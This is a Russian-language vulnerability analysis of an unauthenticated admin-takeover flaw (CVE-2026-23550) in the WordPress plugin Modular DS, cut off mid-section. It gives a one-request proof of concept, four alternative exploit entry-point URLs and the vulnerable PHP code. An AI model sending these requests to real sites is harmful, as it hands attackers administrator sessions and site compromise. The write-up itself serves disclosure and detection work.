
Анализ первопричины, PoC и рекомендации по обнаружению для CVE-2026-23550 — критической уязвимости неаутентифицированного захвата сессии администратора в плагине WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Анализ первопричины · Разбор исходного кода · Сравнение патчей · Образовательный PoC
Автор: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) — это плагин для управления сайтами WordPress с 40 000+ активными установками. Версии ≤ 2.5.1 содержат цепочку из пяти накладывающихся дефектов, которые позволяют любому неавторизованному злоумышленнику обойти аутентификацию, вызвать внутреннюю конечную точку входа плагина и получить cookie сессииwordpress_logged_in_*для первой учётной записи администратора — с помощью одного HTTP GET-запроса.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Результат: полный захват администратора. Злоумышленник может устанавливать вредоносные плагины, размещать веб-шеллы, создавать резервные учётные записи администраторов, извлекать базу данных.
| Поле | Значение |
|---|---|
| Название плагина | Modular DS |
| Slug | modular-connector |
| Уязвимые | <= 2.5.1 |
| Исправлено в | 2.5.2 |
| Активные установки | ~40 000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identification and Authentication Failures |
Уязвимость активирует встроенный роутер, производный от Laravel, встроенный в плагин. Плагин поставляется со своим собственным HTTP-ядром (Ares/Framework), которое подключается к действию WordPress parse_request, чтобы перехватывать запросы до того, как собственный роутинг WordPress вступит в силу.
Предварительные условия: отсутствуют (плагин установлен и активен, подключён к Modular SaaS — по умолчанию для всех живых установок).
Точки входа (достаточно любой одной):
/api/modular-connector/login/<любой>?origin=mo&type=<любой>
/?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/index.php?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/wp-load.php?origin=mo&type=<любой>
Уязвимость — не единый изъян, а цепочка из пяти накладывающихся дефектов. Каждый уровень, рассматриваемый изолированно, может показаться защищённым; вместе они рушатся в захват администратора без аутентификации.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Уровень | Файл | Основная проблема |
|---|---|---|---|
| ① | Шлюз загрузки | HttpUtils.php:64 | Проверка origin=mo только по параметрам запроса без криптографии/nonce |
| ② | Сопоставитель URL→маршрут | Router.php:20 | Неявное разрешение URL передаётся прямо в фильтр |
| ③ | Фильтр переопределения маршрута | RouteServiceProvider.php:46 | Неизвестный type проскальзывает с исходным маршрутом |
| ④ | Охранник аутентификации | ModularGuard.php:16 | Проверяет серверное состояние OAuth, а не личность запроса |
| ⑤ | Контроллер входа | AuthController.php:66 | Тихий откат к getAdminUser() при отсутствии входных данных |
HttpUtils::isDirectRequest()Файл: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ только параметр запроса, без подписи
}
return false;
}
Проблема: Режим «прямого запроса», предназначенный для идентификации легитимных вызовов от бэкенда Modular SaaS, защищён только текстовыми параметрами запроса без HMAC, JWT, подписанного nonce или IP-белого списка. Любой злоумышленник может включить этот переключатель.
Router::findRoute()Файл: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL преобразуется в маршрут ДО запуска фильтра
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Проблема: routes->match($request) Laravel преобразует /api/modular-connector/login/xxx в маршрут login (защищённый аутентификацией) до того, как запустится фильтр безопасности. Фильтр получает этот маршрут на вход, что возлагает на него бремя доказывания неправомерности маршрута, а не явного разрешения.
bindOldRoutes()Файл: src/app/Providers/RouteServiceProvider.php:46